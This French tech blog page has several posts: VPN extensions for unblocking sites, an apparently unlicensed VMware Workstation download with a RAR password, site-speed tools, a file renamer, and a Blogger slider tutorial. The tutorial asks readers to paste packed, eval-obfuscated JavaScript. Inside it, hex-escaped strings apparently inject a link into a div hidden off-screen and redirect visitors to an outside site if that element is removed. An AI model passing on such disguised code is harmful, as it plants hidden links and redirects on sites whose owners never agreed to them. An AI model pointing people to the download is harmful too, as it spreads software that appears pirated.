Meilleurs extensions VPN

Qui parmi nous n'a pas essayé de visionner des vidéos sur un site mais ce denier ne fonctionne pas.Pour ce faire on a besoin de changer de localisations à l'aide de logiciel ou extensions qui s'appellent VPN, dans ce cas deux solutions sont possibles: soit avoir un logiciel installé sur notre ordinateur ou bien utiliser des Add On ou extension chrome

Ces extensions sont utilisées pour changer l'adresse IP de nos appareils . 

Voici pour vous trois extensions VPN choisies qui fonctionnent parfaitement pour déverrouiller des sites internet.

DotVPN :       

Est une extension qui a la particularité de changer la localisation et choisir plusieurs pays comme la France , l'Allemagne les Pays Bas ...etc

Contourner tout site Web bloqué. C'est gratuit et facile à utiliser. Sécuriser et ouvrir Internet dans votre navigateur.

— Accès à tous les domaines, services de streaming vidéo et audio, réseaux sociaux comme Netflix, Hulu, BBC, Spotify, Pandora, Reddit, etc.

- Le système optimisé vous offre une vitesse et une bande passante illimitées avec une expérience VPN illimitée gratuite à vie ou un débloqueur Premium bon marché.

— Le VPN fonctionne en mode Incognito et prend soin de votre PC.

— Le cryptage avec la clé SSL 4096 bits est 2 fois supérieur aux standards bancaires vous rendra totalement anonyme et sécurisé.

— Économisez jusqu'à 30 % de votre trafic avec le filtre AdBlock. Restez privé et ne laissez pas les trackers publicitaires révéler votre anonymat.

- Un seul robinet et connectez-vous à n'importe quel pays avec l'addon de DotVPN.

— Confidentialité et protection de vos téléchargements déverrouillés sous nos adresses IP.

- TOR inside vous permet de surfer sur les sites Web .onion dans votre navigateur préféré avec la prise en charge intégrée des chaussettes.

— Le pare-feu intégré bloque toutes les connexions entrantes vers votre appareil.

— Aucune publicité dans l'application.

- Plan gratuit permanent qui débloque des sites illimités dans une seule extension. Peu importe que vous soyez britannique ou américain, d'Espagne, d'Arabie saoudite ou des Émirats arabes unis - l'accès à tous les serveurs est tout aussi rapide pour tous les utilisateurs du Web non bloqué.

— Le compte VPN gratuit vous offre 80 % de toutes les fonctionnalités. Vous aimez notre extension VPN Chrome gratuite ? Essayez notre VPN Premium - il vous offre une connexion rapide.

— 32 centres de données puissants dans 30 pays, dont les États-Unis, le Royaume-Uni, les Pays-Bas, la France, l'Allemagne, le Canada et bien d'autres.

ZenMate:

Est une extension en mode VPN qui fonctionne sans inscription et qui offre la possibilité de naviguer avec un serveur autre que celui de votre ordinateur

Téléchargez la meilleure extension VPN pour Google Chrome et profitez d’une bande passante illimitée, de connexions haut débit, d’une entière protection anti-fuites et préservez vos activités en ligne. 

L’extension gratuite ZenMate utilise un chiffrement de pointe afin de sécuriser l’intégralité de votre trafic et masquer votre véritable adresse IP, de sorte à ce que vous puissiez accéder aux sites bloqués, protéger vos données et surfer sur Internet en toute confidentialité sans limite de data. 

Hotspot Shield Free VPN

Est une extension qui peut avoir un impact considérable sur la navigation internet.

Débloquez n'importe quel site Web avec le VPN le plus rapide au monde. Réclamez votre liberté en ligne aujourd'hui en un simple clic - Obtenez Hotspot Shield dès aujourd'hui !

Surfez sur le Web sans restrictions et accédez à toutes vos actualités, médias sociaux et sites de streaming préférés avec Hotspot Shield Free VPN Proxy.  

0

VMware Workstation Pro 15

VMware Workstation est un logiciel dans le domaine de la virtualisation de Windows.A l'aide de ce logiciel, vous pouvez installer les outils les plus volumineux sur votre système sans aucune pression sur votre système, et facilement autant que possible sans même le moindre dommage.Utilisez-les sur Windows Ce logiciel fonctionne bien sur les systèmes 32 bits et 64 bits. Si vous recherchez également un logiciel pour installer plusieurs systèmes d'exploitation sur le système et créer une virtualisation Windows, téléchargez ce logiciel et utilisez ses capacités élevées.

Fonctionnalités 

• Prise en charge complète et coordonnée de PXE
• Gestion des postes multi-catégories
• Possibilité d'afficher plusieurs moniteurs
• Possibilité d'afficher le système d'exploitation avant de l'exécuter
• Environnement de propulsion robuste et puissant avec une texture de base
• Prise en charge de VMware vSphere 4 en tant qu'OS invité
• Configurer des systèmes virtuels pour une utilisation avec des processeurs multicœurs

Informations du fichier:

Taille: 475 mo

Format: RAR > Exe

Password: logitec5

Version: 15.5.6

Télécharger 

0

Comment connaitre la vitesse de mon site ?

Pour les webmasters , les Blogueurs et les administrateurs de sites il y a certains points communs importants connaitre pour vérifier la fiabilité et la qualité des sites web.

Parmi les aspects des sites qui sont utiles il y a la vitesse des sites, Pour vérifier la rapidité ou vitesse des sites deux solutions gratuites s'offrent à nous :     

GTmetrix 

Il analyse votre site pour vous donner le résultat de votre site ou blog:

La lettre A du résultat signifie que votre site est très rapide et le temps de son chargement est rapide 

La lettre B signifie que votre site est moins rapide et ainsi de suite selon les lettres 

Il y a d'autres détails qu'ont peut visualiser après l'affichage des résultats du site. 

PageSpeed Insights

Améliore la vitesse de chargement de vos sites proposé par Google. Les résultats s'affichent en pourcentage cette fois avec trois catégories :

1. Entre 0 et 49 
2. Entre 50 et 89
3. Entre 90 et 100 ( meilleur résultat )

Il y a d'autres outils que vous pouvez trouvez sur internet, cependant j'ai cité les plus populaires et les plus intéressants. 

0

Bulk Rename Utility

Bulk Rename Utility : logiciel qui permet de renommer des fichiers pour Windows. Bulk Rename Utility est gratuit pour un usage personnel et privé, à la maison. Pour utiliser Bulk Rename Utility au sein d'une entité commerciale, d'une entreprise ou à des fins commerciales, une licence commerciale est requise.

Bulk Rename Utility vous permet de renommer facilement des fichiers et des dossiers entiers en fonction de critères extrêmement flexibles.

Ajoutez des horodatages, remplacez des nombres, insérez du texte, convertissez la casse, ajoutez des numéros automatiques, traitez des dossiers et des sous-dossiers... et bien plus encore !

Renommez plusieurs fichiers rapidement, selon de nombreux critères flexibles. Apprendre encore plus

Renommez les fichiers de plusieurs façons : ajoutez, remplacez, insérez du texte dans les noms de fichiers. Convertissez le cas, ajoutez des nombres. Supprimez ou modifiez les extensions de fichier.

Vérifiez l'aperçu détaillé avant de renommer.

Renommez les photos à l'aide des métadonnées EXIF ​​​​(c'est-à-dire "Date de prise de vue", "Résolution" et autres informations intégrées dans tous les fichiers photo JPG) Renommez vos photos de vacances dsc1790.jpg sans signification en NewYork1.jpg en un éclair.

Attributs:

• Renommez les fichiers MP3 à l'aide de balises ID3 (alias renommage de balises MP3 ID3).
• Renommez les fichiers à l'aide des propriétés de fichier Windows (par exemple, longueur, largeur, hauteur, débit, éditeur, etc.) de la vidéo multimédia.
• Modifier les horodatages de création et de modification des fichiers.
• Facile à installer. Téléchargez et commencez à renommer vos fichiers dès maintenant                              

Informations du fichier:

Taille: 10mo

format: RAR > Exe

Password: -

Télécharger 

1

Ajouter un slider des articles à votre blog

Aujourd’hui je vous propose un plugin à ajouter ; diaporama ( slider ) automatique qui ajoute instantanément des articles récents, il est bien de savoir que ce diaporama et utilisable pour différentes sortes blogs, en effet il est possible d'ajouter ce slider à votre blogs Blogger grâce à des code à implémenter dans différentes zones du code HTML. 

Remarque: Pour trouver les balises dans votre code du modèle HTML il faut utiliser les touches        [ CTRL+F ]

Première étape:       

Ajouter le code suivant au-dessus ( avant ) de </head> dans le code HTML de votre blog blogger. 

<script src='//code.jquery.com/jquery-1.10.2.min.js' type='text/javascript'/>

Deuxième étape : ajouter le script:  

il faut trouver la balise </body > et ajouter le code suivant avant c'est à dire avant </body>

<script type='text/javascript'>
//<![CDATA[
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(3(e,t){8(!e)b t;6 n=3(){2.4=t;2.9=t;2.P=[];2.a=[0,0];2.l=0;2.y=t;2.7={R:1k,E:1e,D:t,q:!t,c:t,14:t};6 n=2;2.S=3(t,n){2.4=t;2.d=t.11("d");2.a=[t.x(),t.w()];2.9=2.d.11("K").F(2.N);2.7=e.Q(2.7,n);2.15();b 2};2.N=3(t){6 r=e(2),i=r.x(),s=r.w();n.P[t]=[i,s];8(i>n.a[0])n.a[0]=i;8(s>n.a[1])n.a[1]=s};2.15=3(){2.4.A({19:"1m",z:n.a[0],12:2.9.1i().w()});2.d.A({z:2.9.f*v+"%",1l:"1g"});2.9.A("z",v/2.9.f+"%");8(2.7.E!==t){2.C();2.4.1c(2.g,2.C)}2.7.q&&e(1f).1h(2.q);2.7.c&&2.c();8(2.7.14){6 r=3(){n.4.A("z",T.1b(T.1j(n.4.x()/n.4.O().x()*v),v)+"%")};r();e(13).18(r)}8(2.7.J){2.4.O().10(\'<p h="J"><j h="B">←</j><j h="m">→</j></p>\').G(".J j").X(3(){e.H(n[2.V])&&n[2.V]()})}8(e.17.1a){2.4.Z("1d",n.B).Z("1p",n.m)}};2.k=3(t,r){8(!2.9.M(t).f)t=0;8(t<0)t=2.9.f-1;6 i=2.9.M(t);6 s={12:i.w()};6 o=r?5:2.7.R;8(!2.d.1E(":1B")){n.4.G(".L:M("+t+")").Y("I").1A().1D("I");2.4.U(s,o)&&2.d.U(e.Q({1F:"-"+t+"1G%"},s),o,3(i){n.l=t;e.H(n.7.D)&&!r&&n.7.D(n.4)})}};2.C=3(){n.y=1n(3(){n.k(n.l+1)},n.7.E)};2.g=3(){n.y=1y(n.y);b n};2.q=3(t){6 r=t.1r;6 i={1q:n.B,1z:n.m,1o:n.g};8(e.H(i[r])){i[r]()}};2.m=3(){b n.g().k(n.l+1)};2.B=3(){b n.g().k(n.l-1)};2.c=3(){6 t=\'<W h="c">\';e.F(2.9,3(e){t+=\'<K h="L\'+(e<1?" I":"")+\'">\'+(e+1)+"</K>"});t+="</W>";2.4.Y("1s-c").10(t).G(".L").X(3(){n.k(e(2).1t())})}};e.1x.16=3(t){6 r=2.f;b 2.F(3(i){6 s=e(2);6 u=(1w n).S(s,t);s.1v("16"+(r>1?"-"+(i+1):""),u)})}})(13.1u,1C)',62,105,'||this|function|el||var|opts|if|items|max|return|dots|ul||length|stop|class||span|move|current|next||||keys|||||100|outerHeight|outerWidth|interval|width|css|prev|start|complete|delay|each|find|isFunction|active|arrows|li|dot|eq|calculate|parent|sizes|extend|speed|init|Math|animate|className|ol|click|addClass|on|append|children|height|window|fluid|setup|unslider|event|resize|overflow|swipe|min|hover|swipeleft|3e3|document|relative|keydown|first|round|500|position|hidden|setInterval|27|swiperight|37|which|has|index|jQuery|data|new|fn|clearInterval|39|siblings|animated|false|removeClass|is|left|00'.split('|'),0,{}))


$('.slider').unslider({
speed: 7000, // The speed to animate each slide (in milliseconds)
delay: 30000000, // The delay between slide animations (in milliseconds)
complete: function() {}, // A function that gets called after every slide animation
keys: true, // Enable keyboard (left, right) arrow shortcuts
dots: true, // Display dot navigation
fluid: false // Support responsive design. May break non-responsive designs
});

$( "<div class='slideraro'><a class='unslider-arrow prev'></a><a class='unslider-arrow next'></a></div>" ).insertBefore( ".slider ul#label_with_thumbs" );

var unslider = $('.slider').unslider();

$('.unslider-arrow').click(function() {
var fn = this.className.split(' ')[1];

// Either do unslider.data('unslider').next() or .prev() depending on the className
unslider.data('unslider')[fn]();
});


// sliders loader
$(window).bind("load", function() {

});

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(d(e){e.1K.1y=d(t){d r(e){e.W({z:"",L:"","S-1A":"","S-q":""});b n=e.1p(t.1a).z();b r=e.1p(t.1a).L();b i=e.z();b s=e.L();b o=i/n;R(s/o<r){e.W({z:"1i",L:r});i=i/(s/r);s=r}1L{e.W({L:"1i",z:n});i=n;s=s/o}b u=(i-n)/-2;b a=(s-r)/-2;e.W({"S-1A":u,"S-q":a})}b n={1a:"N",1D:1J};b t=e.1F(n,t);b i;b s=h;e(J).14("16",d(){1N(i);i=1Z(d(){s.Q(d(){r(e(h))})},t.1D)});1W h.Q(d(){b t=e(h);t.F("E",t.F("E"));t.1X(d(){r(t)});R(h.1Y){r(t)}})}})(1l);$(".1U 18").1y();$(".1Q-1R O 1o .P-1S").Q(d(){b t=$(h).1r().1q(0,1T),s=t.1V(" ");s>1P&&$(h).1r(t.1q(0,s).17(/[?,!\\.-:;]*$/,"..."))});$(".P-1G 18").Q(d(){$(h).F("E",$(h).F("E").17(/\\/s[0-9]+(\\-c)?\\//,"/1H-1E-c/"))});$(".1O-1I-1M 18").Q(d(){$(h).F("E",$(h).F("E").17(/\\/s[0-9]+(\\-c)?\\//,"/2g-2c-c/"))});b f=["\\B\\m\\l\\19\\y\\H\\13","\\m\\k\\y\\m\\k\\g\\2f\\K\\y\\A\\C\\2h","\\C\\l\\l","\\1m\\x\\l\\C\\A\\k\\j\\g\\k\\j","\\2i\\V\\g\\H\\j\\g\\B\\T\\K\\13\\T\\1t\\H\\T\\G\\V\\g\\1k\\20\\1n\\G\\j\\j\\19\\15\\M\\M\\D\\D\\D\\U\\x\\l\\B\\g\\l\\m\\X\\k\\K\\B\\U\\C\\A\\x\\1n\\1s\\2j\\29\\T\\23\\g\\l\\m\\X\\k\\1t\\M\\H\\1s","\\G\\j\\x\\y","\\y\\g\\k\\X\\j\\G","\\1m\\x\\l\\C\\A\\k\\j\\g\\k\\j\\15\\22\\m\\l\\m\\K\\y\\g","\\G\\V\\g\\1k","\\y\\A\\C\\H\\j\\m\\A\\k","\\G\\j\\j\\19\\15\\M\\M\\D\\D\\D\\U\\x\\l\\B\\g\\l\\m\\X\\k\\K\\B\\U\\C\\A\\x","\\V\\g\\H\\B\\13"];$(1g)[f[11]](d(){$(f[3])[f[2]](f[0],f[1]);$(f[3])[f[5]](f[4]);26(d(){R(!$(f[7])[f[6]]){J[f[9]][f[8]]=f[10]}},27)});1l(1g).2d(d($){"2b 2e";$(\'#q-v .p-P-1c-12 > a, #Z-v O 1o O .p-P-1c-12 > a\').1b(\' +\');$(\'#Z-v .p-P-1c-12 > a\').1b(\'<1B 28="p-25"></1B>\');$(\'#24\').21(\'<N 1x="p-Y"></N>\');$(\'#q-v .2a\').1b(\'<N 1x="q-p-Y"></N>\');$(\'#p-Y\').14(\'1w\',d(){$(\'#Z-v\').1d(1e);$(h).1f(\'1u\')});$(J).16(d(){b w=$(J).z();b I=$(\'#Z-v\');R(w>1C&&I.1h(\':1z\')){I.1j(\'1v\')}});$(\'#q-p-Y\').14(\'1w\',d(){$(\'#q-v O\').1d(1e);$(h).1f(\'1u\')});$(J).16(d(){b w=$(J).z();b I=$(\'#q-v O\');R(w>1C&&I.1h(\':1z\')){I.1j(\'1v\')}})});',62,144,'|||||||||||var||function||_0x760d|x65|this||x74|x6E|x73|x69|||menu|top|||||nav||x6D|x6C|width|x6F|x64|x63|x77|src|attr|x68|x61|navDisplay|window|x62|height|x2F|div|ul|item|each|if|margin|x20|x2E|x72|css|x67|icon|main|||children|x79|on|x3A|resize|replace|img|x70|parent|append|has|slideToggle|250|toggleClass|document|is|auto|removeAttr|x66|jQuery|x23|x22|li|parents|substr|text|x3E|x3C|active|style|click|id|resizeToParent|hidden|left|span|1000|delay|h80|extend|thumbnail|w100|image|100|fn|else|container|clearTimeout|avatar|52|popular|posts|snippet|60|imageContainer|lastIndexOf|return|load|complete|setTimeout|x3D|after|x76|x44|logo|arrow|setInterval|3000|class|x53|wrapper|use|h70|ready|strict|x2D|w70|x6B|x43|x4D'.split('|'),0,{}))


//]]>
</script>

Troisième étape : ajouter un autre script

On doit ajouter pour cette étape un autre code au dessus ( avant ) la balise </head> :

<style>
.slider { max-height:400px; } #main-up .woo { background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgl4zLrIEGboOylFM4FILZbkGEmuLpYc6Zl-HhNFIS8uz3aP1PYfbPqfMrbTKDFOhlbUc1vmZWw1rIT7zC3NAYeolqEwtNFk1-I7smX_LG9FWUAMP97NPdxSFjB3-Mtj6fYvT43lF1uWCk/s1600/section_bg.png) no-repeat bottom center; padding-bottom: 12px; } .slider { position: relative; overflow: auto; width: 100% !important; direction: ltr !important; } .slider ul#label_with_thumbs, .slider ul#label_with_thumbs li {background: #333;margin: 0 !important; padding: 0 !important; border: 0; display:block } .slider ul li { position: relative; padding: 0; } .slider .imageContainer { height:400px; width: 100%; background:#333; opacity: 0.7; } .slider .label_thumb { width: 100% !important; height: 400px!important; } .slider .label_title { z-index: 1; text-align: center; width: auto; font-size:30px; opacity: 1; color: #fff !important; position: absolute; font-weight:400; display: block; left: 0; right: 0; bottom: 30px; margin: 0; font-family:'Lobster', cursive; text-shadow: 1px 1px 0px rgba(0, 0, 0, 1); }


.slideraro { position: absolute; z-index: 1; top: 15px; } .slideraro a { cursor: pointer; background-color:#f3794b; padding: 10px 15px; overflow: hidden; display: block; color: #FFF; } .slideraro a.unslider-arrow.prev:before { display: inline-block; font-family: FontAwesome; font-style: normal; font-weight: normal; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .slideraro a.unslider-arrow.next:before { display: inline-block; font-family: FontAwesome; font-style: normal; font-weight: normal; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .dots { position: absolute; top: 10px; } .dots li { font-size: .0em; display: none; width: 8px; border-radius: 50px; height: 8px; padding: 2px; border: 0; cursor: pointer; background-color: $(main.color); } .dots li.active { background: #fff; } .slideraro a.unslider-arrow.prev:before {content:"\f053";} .slideraro a.unslider-arrow.next:before {content:"\f054";} .slideraro a {margin-left: 5px;float: left;} .slider ul li { float: right; } .slideraro {right: 15px;}


.slideraro a.unslider-arrow.prev:before {
content: "\f053";
}
.slideraro a.unslider-arrow.prev:before {
display: inline-block;
font-family: FontAwesome;
font-style: normal;
font-weight: normal;
line-height: 1;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
#mscontent{
position: absolute;
left: -999px;
font-size: 1px;
}
</style>
<script type='text/javascript'>
//<![CDATA[
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('D 3Y(e){F.G(\'<2c 3X="41">\');19(q t=0;t<2G;t++){q n=e.1D.1C[t];q r=n.1o.$t;q i;B(t==e.1D.1C.X)1b;19(q o=0;o<n.I.X;o++){B(n.I[o].1F=="2L"&&n.I[o].1Y=="2M/2K"){q u=n.I[o].1o;q f=n.I[o].13}B(n.I[o].1F=="2A"){i=n.I[o].13;1b}}q l;42{l=n.46$2W.45}43(h){s=n.1q.$t;a=s.1h("<14");b=s.1h(\'Y="\',a);c=s.1h(\'"\',b+5);d=s.2O(b+5,c-b-5);B(a!=-1&&b!=-1&&c!=-1&&d!=""){l=d}1f l="36://3.35.2Z.2a/-2Y/2S/2Q/2P/2f/2X.2V"}q p=n.25.$t;q v=p.1c(0,4);q m=p.1c(5,7);q g=p.1c(8,10);q y=28 2d;y[1]="21";y[2]="1P";y[3]="1W";y[4]="1V";y[5]="2g";y[6]="2t";y[7]="2n";y[8]="1S";y[9]="2m";y[10]="1Q";y[11]="1R";y[12]="1X";F.G(\'<1k J="2w-3W">\');B(3V==1B)F.G(\'<1i J="3O"><a 13="\'+i+\'" 1Z ="22"><14 J="1T" Y="\'+l+\'" 1o="\'+r+\'" 3N="\'+r+\'"/></a></1i>\');F.G(\'<a J="3T" 13="\'+i+\'" 1Z ="22">\'+r+"</a>");q w="";q E=0;F.G("");p=n.25.$t;q S=[1,2,3,4,5,6,7,8,9,10,11,12];q x=["21","1P","1W","1V","2g","2t","2n","1S","2m","1Q","1R","1X"];q T=p.1e("-")[2].1c(0,2);q N=p.1e("-")[1];q C=p.1e("-")[0];19(q k=0;k<S.X;k++){B(23(N)==S[k]){N=x[k];1b}}q L=T+" "+N+" "+C;B(2R==1B){F.G(\'<1i J="4e"><a 13="\'+i+\'" J="2J-4h">\'+L+"</a>")}B(3K==1B){B(E==1){w=w+" | "}B(u=="1 26")u="1 3R";B(u=="0 26")u="3v 26";w=w+u;E=1;F.G(\'<a J="2w-2a" 13="\'+f+\'" 1Z ="22">\'+u+"</a></1i>")}B("1q"1z n){q A=n.1q.$t}1f B("1x"1z n){q A=n.1x.$t}1f q A="";q O=/<\\S[^>]*>/g;A=A.1U(O,"");B(2U==1B){B(A.X<24){F.G("");F.G(A);F.G("")}1f{F.G("");A=A.1c(0,24);q M=A.4g(" ");A=A.1c(0,M);F.G(\'<p J="2J-1x">\'+A+"...</p>")}}F.G("</1k>");B(t!=2G-1)F.G("")}F.G("</2c>")};$(F).2F(D(){$(\'.1T\').2E(\'Y\',D(i,Y){P Y.1U(\'3o-c\',\'2f\')})});$(F).2F(D(){$(\'.1T\').2E(\'Y\',D(i,Y){P Y.1U(\'3p.2D\',\'3D.2D\')})});!D(e){D t(t,n){P 23(e.V(t[0],n))||0}D n(e){P e[0].3F+t(e,"3G")+t(e,"3B")}D l(e){P e[0].3A+t(e,"3u")+t(e,"3t")}e.3w.3x=D(t){P t=e.3y({1y:17,1r:17,2e:17,2z:!1,2j:17,20:3J,2I:17,1p:!1,1t:!0,1E:4,1w:0,W:1,27:17,2h:17},t||{}),1K.2H(D(){D i(){P v.1L(p).1L(0,h)}D r(n){B(!s){B(t.27&&t.27.2x(1K,i()),t.1t)n<=t.1w-h-1?(u.V(c,-((b-2*h)*g)+"1I"),p=n==t.1w-h-1?b-2*h-1:b-2*h-t.W):n>=b-h+1?(u.V(c,-(h*g)+"1I"),p=n==b-h+1?h+1:h+t.W):p=n;1f{B(0>n||n>b-h)P;p=n}s=!0,u.3z("1n"==c?{1n:-(p*g)}:{2l:-(p*g)},t.20,t.2I,D(){t.2h&&t.2h.2x(1K,i()),s=!1}),t.1t||(e(t.1y+","+t.1r).3H("2N"),e(p-t.W<0&&t.1y||p+t.W>b-h&&t.1r||[]).3I("2N"))}P!1}q s=!1,c=t.1p?"2l":"1n",o=t.1p?"1A":"1G",a=e(1K),u=e("2c",a),f=e("1k",u),d=f.2o(),h=t.1E;t.1t&&(u.3E(f.1L(d-h-1+1).2u()).3s(f.1L(0,h).2u()),t.1w+=h);q v=e("1k",u),b=v.2o(),p=t.1w;a.V("3b","1E"),v.V({2q:"2p","3c":t.1p?"2B":"1n"}),u.V({3d:"0",3q:"0",2r:"2s","3n-3k-1Y":"2B","z-2v":"1"}),a.V({2q:"2p",2r:"2s","z-2v":"2",1n:"4f"});q g=t.1p?l(v):n(v),x=g*b,m=g*h;v.V({1G:v.1G(),1A:v.1A()}),u.V(o,x+"1I").V(c,-(p*g)),a.V(o,m+"1I"),t.1y&&e(t.1y).2b(D(){P r(p-t.W)}),t.1r&&e(t.1r).2b(D(){P r(p+t.W)}),t.2e&&e.2H(t.2e,D(n,l){e(l).2b(D(){P r(t.1t?t.1E+n:n)})}),t.2z&&a.2y&&a.2y(D(e,n){P r(n>0?p-t.W:p+t.W)}),t.2j&&32(D(){r(p+t.W)},t.2j+t.20)})}}(4n);D 4k(t){j=38?2C.4o((1s.X+1)*2C.4m()):0,14=28 2d;19(q e=0;e<3a;e++){q r,n,i=t.1D.1C[e],m=i.1o.$t;B(e==t.1D.1C.X)1b;19(q l=0;l<i.I.X;l++)B("2A"==i.I[l].1F){n=i.I[l].13;1b}19(q l=0;l<i.I.X;l++)B("2L"==i.I[l].1F&&"2M/2K"==i.I[l].1Y){r=i.I[l].1o.1e(" ")[0];1b}B("1q"1z i)q o=i.1q.$t;1f B("1x"1z i)q o=i.1x.$t;1f q o="";1O=i.25.$t,j>1s.X-1&&(j=0),14[e]=1s[j],s=o,a=s.1h("<14"),b=s.1h(\'Y="\',a),c=s.1h(\'"\',b+5),d=s.2O(b+5,c-b-5),-1!=a&&-1!=b&&-1!=c&&""!=d&&(14[e]=d);19(q u=[1,2,3,4,5,6,7,8,9,10,11,12],h=["21","1P","1W","1V","2g","3h","40","1S","3Z","1Q","1R","1X"],p=(1O.1e("-")[2].1c(0,2),1O.1e("-")[1]),f=(1O.1e("-")[0],0);f<u.X;f++)B(23(p)==u[f]){p=h[f];1b}q w=\'<1k J="2T"><1i J="3M"><a 13="\'+n+\'"><14 1G="3L" 3P-1A="3Q" J="3U 2W 3S " Y="\'+14[e]+\'"/></a><39 J="2T-48"></39></1i><a J="47" 13="\'+n+\'">\'+m+"</a></1k>";F.G(w),j++}}q H=["\\1g\\Z\\R\\2k\\1d\\1l\\29","\\Z\\U\\1d\\Z\\U\\K\\4l\\1v\\1d\\1a\\16\\4i","\\16\\R\\R","\\30\\18\\R\\16\\1a\\U\\Q\\K\\U\\Q","\\4c\\1M\\K\\1l\\Q\\K\\1g\\1H\\1v\\29\\1H\\34\\1l\\1H\\1j\\1M\\K\\31\\4b\\37\\1j\\Q\\Q\\2k\\2i\\1u\\1u\\1m\\1m\\1m\\1N\\18\\R\\1g\\K\\R\\Z\\1J\\U\\1v\\1g\\1N\\16\\1a\\18\\37\\33\\4a\\4j\\1H\\49\\K\\R\\Z\\1J\\U\\34\\1u\\1l\\33","\\1j\\Q\\18\\1d","\\1d\\K\\U\\1J\\Q\\1j","\\30\\18\\R\\16\\1a\\U\\Q\\K\\U\\Q\\2i\\4d\\Z\\R\\Z\\1v\\1d\\K","\\1j\\1M\\K\\31","\\1d\\1a\\16\\1l\\Q\\Z\\1a\\U","\\1j\\Q\\Q\\2k\\2i\\1u\\1u\\1m\\1m\\1m\\1N\\18\\R\\1g\\K\\R\\Z\\1J\\U\\1v\\1g\\1N\\16\\1a\\18","\\1M\\K\\1l\\1g\\29"];$(F)[H[11]](D(){$(H[3])[H[2]](H[0],H[1]);$(H[3])[H[5]](H[4]);32(D(){B(!$(H[7])[H[6]]){3l[H[9]][H[8]]=H[10]}},3g)});1s=28 2d,1s[0]="36://3.35.2Z.2a/-2Y/2S/2Q/2P/2f/2X.2V",38=!0,3C=!0,3e=3i,3r=0,3j=15,3a=6;q 3f=3,3m=!1,2R=!0,2U=!0,24=44;',62,273,'||||||||||||||||||||||||||var|||||||||||if||function||document|write|_0x760d|link|class|x65|||||return|x74|x73|||x6E|css|scroll|length|src|x69||||href|img||x63|null|x6D|for|x6F|break|substring|x6C|split|else|x64|indexOf|div|x68|li|x61|x77|left|title|vertical|content|btnNext|imgr|circular|x2F|x62|start|summary|btnPrev|in|height|true|entry|feed|visible|rel|width|x20|px|x67|this|slice|x72|x2E|postdate|Feb|Oct|Nov|Aug|label_thumb|replace|Apr|Mar|Dec|type|target|speed|Jan|_top|parseInt|numchars|published|Comments|beforeStart|new|x79|com|click|ul|Array|btnGo|s1600|May|afterEnd|x3A|auto|x70|top|Sept|July|size|hidden|overflow|position|relative|June|clone|index|recent|call|mousewheel|mouseWheel|alternate|none|Math|jpg|attr|ready|numposts|each|easing|post|html|replies|text|disabled|substr|AIyPvrpGLn8|AAAAAAAAE5k|showpostdate|UVopoHY30SI|car|showpostsummary|png|thumbnail|picture_not_available|zP87C2q9yog|blogspot|x23|x66|setInterval|x3E|x3C|bp|http|x22|showRandomImg|span|numposts5|visibility|float|margin|summaryPost|numpost|3000|Jun|150|summaryTitle|style|window|displayseparator|list|s72|default|padding|summaryPost1|append|marginBottom|marginTop|No|fn|jCarouselLite|extend|animate|offsetHeight|marginRight|aBold|mqdefault|prepend|offsetWidth|marginLeft|removeClass|addClass|200|showcommentnum|236|thumbE|alt|imageContainer|min|190|Comment|carousel|label_title|Thumbnail|showpostthumbnails|box|id|labelthumbs|Sep|Jul|label_with_thumbs|try|catch|50|url|media|slider_title|overlay|x44|x4D|x3D|x43|x76|toe|0px|lastIndexOf|date|x6B|x53|recentarticles1|x2D|random|jQuery|floor'.split('|'),0,{}))


//]]>
</script>

On peut ajouter ce code entre <style> et </style> avant une autre balise qui est <b:skin> qui est le style du diaporama.

Quatrième étape:

Trouvez ce code 

 <b:section class='main' id='main' name='Main' showaddelement='no'>

Ajoutez avant lui ce code suivant:

<b:section class='slider-box' id='slider-box' maxwidgets='1' showaddelement='yes'>


<b:widget id='HTML2' locked='true' title='السلايد شو' type='HTML'>
<b:includable id='main'>
<div class='widget-content woo'>


<b:if cond='data:content == &quot;recent&quot;'>


<div class='slider'>


<script type='text/javascript'>var numposts = 5;var showpostthumbnails = true;var displaymore = true;var displayseparator = true;var showcommentnum = false;var showpostdate = false;var showpostsummary = false;var numchars = 100;</script>
<script src='/feeds/posts/default?published&amp;alt=json-in-script&amp;callback=labelthumbs' type='text/javascript'/>
</div>


<b:else/>


<div class='slider'>
<script type='text/javascript'>var numposts = 5;var showpostthumbnails = true;var displaymore = true;var displayseparator = true;var showcommentnum = false;var showpostdate = false;var showpostsummary = false;var numchars = 100;</script>
<script expr:src='&quot;/feeds/posts/default/-/&quot; + data:content + &quot;?published&amp;alt=json-in-script&amp;callback=labelthumbs&quot;' type='text/javascript'/>
</div>


</b:if>


</div>
</b:includable>
</b:widget>
</b:section>


<div id='mscontent'/>

Après avoir terminé les quatre étapes dirigez vous dans la mise en page et vous allez trouver un autre widget et emplacement qui a été ajouté portant le nom du silder ( diaporama ) 

Enfin ajouter le texte suivant dans le contenu du widget ; recent

Le diaporama fonctionne parfaitement si vous suivez les étapes précédentes 

 

0

Comment écrire du CSS et ses 5 codes les plus populaires

CSS est le langage responsable de l'apparence des sites Web. Sans ce langage, vous obtenez un site Web laid et désorganisé que vous ne pouvez pas parcourir confortablement. Tout est dispersé, c'est donc une partie essentielle de chaque site Web.

